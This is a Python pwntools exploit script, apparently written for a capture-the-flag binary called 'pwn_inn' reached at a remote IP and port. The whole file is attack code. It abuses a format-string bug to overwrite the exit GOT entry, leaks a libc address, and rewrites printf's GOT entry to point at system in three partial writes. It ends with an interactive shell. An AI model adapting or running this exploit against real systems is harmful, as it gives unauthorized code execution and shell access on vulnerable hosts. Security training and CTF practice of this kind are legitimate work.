from pwn import *

elf = context.binary = ELF("./pwn_inn")
# context.log_level = logging.DEBUG
context.terminal = ["tmux", "splitw", "-h"]
def do_debug():
	return gdb.debug(elf.path, gdbscript = """
												break main
												break *0x4012f4
												break *0x00401319
""")

def do_remote():
	return remote("161.97.176.150", 2626)
def do_local():
	return process(elf.path)


p = do_remote()
input("waiting for gdb")
p.sendlineafter("? \n", b"%45$08p%46$08p%4199080d%10$nAAAA" +\
p64(elf.sym.got["exit"]) +\
8*b"B")
print("sent first payload")
p.recvuntil("Welcome ")
leak_one = p.recv(8)[2:]
leak_two = p.recv(8)[:-2]
leak = leak_one+leak_two
ret_address = int(leak,16)
libc_base = ret_address - 0x0270b3
system = libc_base + 0x055410
system_leak = "%x"%system
print(system_leak)
first_write = ("%5d" % int(system_leak[:4],16)).encode("ascii")
print(first_write)
third1 = int(system_leak[:4],16)
third2 = int(system_leak[4:8], 16)
third3 = int(system_leak[8:12],16)
print (third1, third2, third3)
l = [third1, third2, third3]
l.sort()
payload = b"%" + ("%05d"%l[0]).encode("ascii") + b"d%11$hn" +\
b"%" + ("%05d"%(l[1]-l[0])).encode("ascii") + b"d%12$hn" +\
b"%" + ("%05d"%(l[2]-(l[1]))).encode("ascii") + b"d%13$hn" +1*b"\x00"
for i in range(0,3):
	if l[i] == third1:
		payload += p64(elf.sym.got["printf"]+4)
	if l[i] == third2:
		payload += p64(elf.sym.got["printf"]+2)
	if l[i] == third3:
		payload += p64(elf.sym.got["printf"])
#payload = b"%45$08p%46$08p%4199079d%10$nAAAA"+p64(elf.sym.got["exit"])
print(payload)
input("send payload..")
p.recv(timeout=5)
p.sendline(payload)

print("ret_libc: %x"%ret_address)
p.recv(timeout=5)
p.interactive() # write "/bin/sh" to get shell.
